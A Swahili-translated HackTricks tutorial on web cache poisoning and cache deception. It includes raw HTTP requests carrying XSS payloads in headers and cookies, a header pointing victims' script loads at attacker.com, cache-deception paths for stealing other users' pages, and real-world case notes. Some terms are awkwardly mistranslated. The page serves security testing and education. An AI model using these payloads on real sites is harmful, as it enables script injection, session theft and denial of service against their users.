.. | ||
cache-poisoning-to-dos.md | ||
README.md |
Kufyonza Cache na Udanganyifu wa Cache
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa kipekee wa NFTs
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Tumia Trickest kujenga na kutumia mifumo ya kazi kwa kutumia zana za jamii za juu zaidi duniani.
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
Tofauti
Ni tofauti gani kati ya kufyonza cache ya wavuti na udanganyifu wa cache ya wavuti?
- Katika kufyonza cache ya wavuti, mkaidi husababisha programu kuhifadhi baadhi ya maudhui mabaya kwenye cache, na maudhui haya hutolewa kutoka kwenye cache kwa watumiaji wengine wa programu.
- Katika udanganyifu wa cache ya wavuti, mkaidi husababisha programu kuhifadhi baadhi ya maudhui nyeti yanayomilikiwa na mtumiaji mwingine kwenye cache, na mkaidi kisha anapata maudhui haya kutoka kwenye cache.
Kufyonza Cache
Kufyonza cache inalenga kubadilisha cache upande wa mteja ili kulazimisha wateja kupakia rasilimali ambazo si za kawaida, sehemu, au zinazodhibitiwa na mkaidi. Upeo wa athari unategemea umaarufu wa ukurasa ulioathiriwa, kwani jibu lililochafuliwa hutolewa kwa watumiaji wanaotembelea ukurasa wakati wa kufyonza cache.
Utekelezaji wa shambulio la kufyonza cache unajumuisha hatua kadhaa:
- Ugunduzi wa Vipengele Visivyo na Kichwa: Hivi ni vigezo ambavyo, ingawa sio lazima kwa ombi kuhifadhiwa kwenye cache, vinaweza kubadilisha jibu linalorudishwa na seva. Kutambua vipengele hivi ni muhimu kwani vinaweza kutumiwa kubadilisha cache.
- Kutumia Vipengele Visivyo na Kichwa: Baada ya kutambua vipengele visivyo na kichwa, hatua inayofuata ni kugundua jinsi ya kutumia vipengele hivi kwa njia ambayo inanufaisha mkaidi kubadilisha jibu la seva.
- Kuhakikisha Jibu Lililofyonzwa linahifadhiwa kwenye Cache: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa limewekwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayepata ukurasa ulioathiriwa wakati wa kufyonza cache atapokea jibu lililochafuliwa.
Ugunduzi: Angalia vichwa vya HTTP
Kawaida, wakati jibu limewekwa kwenye cache kutakuwa na kichwa kinachoonyesha hivyo, unaweza kuangalia vichwa vipi unapaswa kutilia maanani katika chapisho hili: Vichwa vya Cache vya HTTP.
Ugunduzi: Msimbo wa Makosa ya Kufyonza
Ikiwa unadhani kwamba jibu linawekwa kwenye cache, unaweza kujaribu kutuma maombi na kichwa kibaya, ambacho kinapaswa kujibiwa na msimbo wa hali 400. Kisha jaribu kupata ombi kawaida na ikiwa jibu ni msimbo wa hali 400, unajua kuwa ni dhaifu (na hata unaweza kufanya DoS).
Unaweza kupata chaguo zaidi katika:
{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}
Hata hivyo, kumbuka kwamba mara kwa mara aina hizi za misimbo ya hali hazihifadhiwi hivyo jaribio hili linaweza kutokuwa la kuaminika.
Ugunduzi: Tambua na tathmini vipengele visivyo na kichwa
Unaweza kutumia Param Miner kufanya nguvu ya vigezo na vichwa ambavyo vinaweza kubadilisha jibu la ukurasa. Kwa mfano, ukurasa unaweza kutumia kichwa X-Forwarded-For
kuonyesha mteja kupakia skripti kutoka hapo:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Kupata jibu baya kutoka kwa seva ya nyuma
Pamoja na kipengele/kichwa kilichotambuliwa, angalia jinsi kinavyo safishwa na wapi kinapo onyeshwa au kuathiri jibu kutoka kwa kichwa. Je, unaweza kukitumia kwa njia yoyote (kufanya XSS au kupakia nambari ya JS inayodhibitiwa na wewe? kufanya DoS?...)
Pata jibu lililohifadhiwa
Baada ya kutambua ukurasa ambao unaweza kutumiwa vibaya, ni kipengele/kichwa gani cha kutumia na jinsi ya kukitumia, unahitaji kupata ukurasa uliohifadhiwa. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda fulani, unaweza kulazimika kujaribu kwa sekunde kadhaa.
Kichwa X-Cache
katika jibu linaweza kuwa na manufaa sana kwani inaweza kuwa na thamani miss
wakati ombi halijahifadhiwa na thamani hit
wakati inahifadhiwa.
Kichwa kingine cha Cache-Control
pia ni cha kuvutia kujua ikiwa rasilimali inahifadhiwa na lini rasilimali itahifadhiwa tena: Cache-Control: public, max-age=1800
Kichwa kingine cha kuvutia ni Vary
. Kichwa hiki mara nyingi hutumiwa kuonyesha vichwa vingine vinavyotambuliwa kama sehemu ya ufunguo wa cache hata kama kawaida havina ufunguo. Kwa hivyo, ikiwa mtumiaji anajua User-Agent
wa muathiriwa anayelengwa, anaweza kudhuru cache kwa watumiaji wanaotumia User-Agent
hiyo maalum.
Kichwa kingine kinachohusiana na cache ni Age
. Hii inaainisha nyakati kwa sekunde ambazo kitu kimekuwa kwenye cache ya proksi.
Unapohifadhi ombi, kuwa makini na vichwa unavyotumia kwa sababu baadhi yao wanaweza kutumika kwa njia isiyotarajiwa kama vichwa vilivyofungwa na muathiriwa atahitaji kutumia kichwa hicho hicho. Daima jaribu Udhuru wa Cache na vibao tofauti ili kuhakikisha kuwa inafanya kazi.
Mifano ya Kutumia Vibaya
Mfano Rahisi Zaidi
Kichwa kama X-Forwarded-For
kinachoonyeshwa kwenye jibu bila kusafishwa.
Unaweza kutuma mzigo wa XSS wa msingi na kudhuru cache ili kila mtu anayefikia ukurasa atakuwa na XSS:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Note kwamba hii itachafua ombi kwa /en?region=uk
sio kwa /en
Kuchafua cache kwa DoS
{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}
Kutumia uchafuzi wa cache ya wavuti kuf exploit udhaifu wa kushughulikia vidakuzi
Vidakuzi pia vinaweza kurejelewa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia kusababisha XSS kwa mfano, unaweza kutumia XSS kwa wateja kadhaa wanaopakia jibu la cache lenye nia mbaya.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Tafadhali kumbuka kwamba ikiwa kuki inayoweza kudhuriwa inatumika sana na watumiaji, maombi ya kawaida yatakuwa yanafuta cache.
Kudanganya cache kwa njia ya upitishaji wa njia ili kuiba funguo ya API
Hii andika inaeleza jinsi ilivyowezekana kuiba funguo ya API ya OpenAI na URL kama https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
kwa sababu chochote kinacholingana na /share/*
kitahifadhiwa bila Cloudflare kawaida kurekebisha URL, ambayo ilifanywa wakati ombi lilipofikia seva ya wavuti.
Kutumia vichwa vingi kudanganya udhaifu wa sumaku wa wavuti wa sumaku
Wakati mwingine utahitaji kudanganya pembejeo kadhaa zisizo na funguo ili uweze kutumia cache. Kwa mfano, unaweza kupata kuelekeza wazi ikiwa unaweka X-Forwarded-Host
kwa kikoa kinachodhibitiwa na wewe na X-Forwarded-Scheme
kuwa http
. Ikiwa seva inaendeleza maombi yote ya HTTP kwa HTTPS na kutumia kichwa X-Forwarded-Scheme
kama jina la kikoa kwa kuelekeza. Unaweza kudhibiti ukurasa unapoelekezwa na kuelekeza.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Kutumia kichwa cha Vary
kilichopunguzwa
Ikiwa umegundua kwamba kichwa cha X-Host
kinatumika kama jina la kikoa kusoma rasilimali ya JS lakini kichwa cha Vary
katika jibu linabainisha User-Agent
. Kisha, unahitaji kupata njia ya kuchukua User-Agent wa mwathiriwa na kudhuru cache kwa kutumia user agent huo:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Tuma ombi la GET na ombi katika URL na mwilini. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, yeyote anayepata URL hiyo atatumia kwa kweli parameta kutoka kwa mwili. Kama kasoro aliyopata James Kettle kwenye wavuti ya Github:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Parameter Cloaking
Kwa mfano ni iwezekanavyo kutenganisha parameta katika seva za ruby kwa kutumia herufi ;
badala ya &
. Hii inaweza kutumika kuweka thamani za parameta zisizo na funguo ndani ya zile zenye funguo na kuzitumia vibaya.
Lab ya Portswigger: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Kutumia HTTP Cache Poisoning kwa kuzitumia vibaya HTTP Request Smuggling
Jifunze hapa kuhusu jinsi ya kutekeleza mashambulizi ya Cache Poisoning kwa kuzitumia vibaya HTTP Request Smuggling.
Upimaji wa Kiotomatiki kwa Web Cache Poisoning
Skana ya Ufikiaji wa Mfumo wa Cache wa Wavuti inaweza kutumika kiotomatiki kupima sumu ya cache ya wavuti. Inasaidia njia nyingi tofauti na inaweza kubadilishwa kwa urahisi.
Matumizi ya mfano: wcvs -u mfano.com
Tumia Trickest kujenga na kutumia mifumo ya kazi kwa kutumia zana za jamii za juu zaidi ulimwenguni.
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
Mifano ya Kudhurika
Apache Traffic Server (CVE-2021-27577)
ATS ilipeleka sehemu ndani ya URL bila kuiondoa na ikazalisha funguo la cache kwa kutumia mwenyeji, njia, na swali (ikipuuza sehemu). Kwa hivyo ombi /#/../?r=javascript:alert(1)
lilipelekwa kwa nyuma kama /#/../?r=javascript:alert(1)
na funguo la cache halikuwa na mzigo ndani yake, tu mwenyeji, njia, na swali.
GitHub CP-DoS
Kutuma thamani mbaya katika kichwa cha aina ya yaliyomo kulizua jibu lililohifadhiwa la 405. Funguo la cache lilikuwa na kuki hivyo ilikuwa inawezekana kushambulia watumiaji wasio na idhini pekee.
GitLab + GCP CP-DoS
GitLab hutumia vikapu vya GCP kuhifadhi yaliyomo ya msingi. Vikapu vya GCP vinaweza kusaidia kichwa x-http-method-override
. Kwa hivyo ilikuwa inawezekana kutuma kichwa x-http-method-override: HEAD
na kudanganya cache kurudisha mwili wa jibu tupu. Pia inaweza kusaidia njia PURGE
.
Rack Middleware (Ruby on Rails)
Katika maombi ya Ruby on Rails, middleware ya Rack mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha x-forwarded-scheme
na kuweka kama mpango wa ombi. Wakati kichwa x-forwarded-scheme: http
kinatumwa, kuna 301 kurejelewa kwa eneo sawa, ikisababisha uwezekano wa Kukataa Huduma (DoS) kwa rasilimali hiyo. Zaidi ya hayo, maombi yanaweza kutambua kichwa cha X-forwarded-host
na kupeleka watumiaji kwa mwenyeji uliotajwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwenye seva ya mshambuliaji, ikileta hatari ya usalama.
403 na Vikapu vya Uhifadhi
Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kupata ufikiaji wa S3 au Blobs za Uhifadhi wa Azure na vichwa visivyo sahihi vya Uthibitishaji kungesababisha majibu ya 403 ambayo yalihifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma zingine za wakala.
Kuingiza Parameta Zenye Funguo
Marashi mara nyingi hujumuisha parameta maalum za GET katika funguo la cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameta ya size
katika maombi. Walakini, ikiwa toleo lililofungwa la parameta (k.m., siz%65
) pia lilipelekwa na thamani isiyo sahihi, funguo la cache lingejengwa kwa kutumia parameta sahihi ya size
. Walakini, nyuma ya pazia ingeprocess thamani katika parameta iliyofungwa kwa URL. Kufunga parameta ya pili ya size
kuliongoza kwa kosa la ombi la 400 linaloweza kuhifadhiwa.
Sheria za Wateja wa Mtumiaji
Baadhi ya watengenezaji wanazuia maombi na wateja wa mtumiaji wanaofanana na zana za trafiki kubwa kama FFUF au Nuclei kudhibiti mzigo wa seva. Kwa kujifanya, njia hii inaweza kuleta mapungufu kama sumu ya cache na DoS.
Uga wa Kichwa Usio Halali
RFC7230 inabainisha herufi zinazokubalika katika majina ya kichwa. Vichwa vyenye herufi nje ya safu iliyowekwa ya tchar inapaswa kimsingi kusababisha jibu la Kosa la Ombi la 400. Kwa vitendo, seva mara nyingi hazifuati viwango hivi. Mfano muhimu ni Akamai, ambayo inapeleka vichwa na herufi zisizo halali na kuhifadhi hitilafu yoyote ya 400, ikiwa tu kichwa cha cache-control
hakipo. Mfano wa kutumia uligunduliwa ambapo kutuma kichwa na herufi isiyo halali, kama vile \
, kunaweza kusababisha kosa la ombi la 400 linaloweza kuhifadhiwa.
Kupata vichwa vipya
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Udanganyifu wa Cache
Lengo la Udanganyifu wa Cache ni kufanya wateja pakia rasilimali ambazo zitahifadhiwa na cache pamoja na habari zao nyeti.
Kwanza kabisa kumbuka kwamba nyongeza kama vile .css
, .js
, .png
nk kawaida imepangwa kuhifadhiwa katika cache. Kwa hivyo, ikiwa unafikia www.example.com/profile.php/nonexistent.js
cache labda itahifadhi jibu kwa sababu inaona nyongeza ya .js
. Lakini, ikiwa programu inarudia na maudhui nyeti ya mtumiaji yaliyohifadhiwa katika www.example.com/profile.php, unaweza kuiba maudhui hayo kutoka kwa watumiaji wengine.
Vitu vingine vya kupima:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Tumia nyongeza zisizojulikana kama
.avif
Mfano mwingine wazi unaweza kupatikana katika andiko hili: https://hackerone.com/reports/593712.
Katika mfano huo, imeelezwa kwamba ikiwa unapakia ukurasa usio na maudhui kama http://www.example.com/home.php/non-existent.css maudhui ya http://www.example.com/home.php (na habari nyeti za mtumiaji) yatarejeshwa na seva ya cache itahifadhi matokeo.
Kisha, mshambuliaji anaweza kupata http://www.example.com/home.php/non-existent.css kwenye kivinjari chao na kuchunguza habari za siri za watumiaji waliopata kabla.
Kumbuka kwamba mwendeshaji wa cache anapaswa kuwa amepangwa kuhifadhi faili kulingana na nyongeza ya faili (.css) na sio kulingana na aina ya yaliyomo. Katika mfano http://www.example.com/home.php/non-existent.css itakuwa na aina ya yaliyomo ya text/html
badala ya aina ya mime ya text/css
(ambayo inatarajiwa kwa faili ya .css).
Jifunze hapa kuhusu jinsi ya kutekeleza mashambulizi ya Udanganyifu wa Cache kwa kuzitumia vibaya HTTP Request Smuggling.
Zana za Kiotomatiki
- toxicache: Kijikaratasi cha Golang cha kutambua udhaifu wa sumaku ya mtandao kwenye orodha ya URL na jaribu mbinu za sindano nyingi.
Marejeo
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
Tumia Trickest kujenga na kiotomatiki mifumo ya kazi inayotumia zana za jamii za juu zaidi duniani kwa urahisi.
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.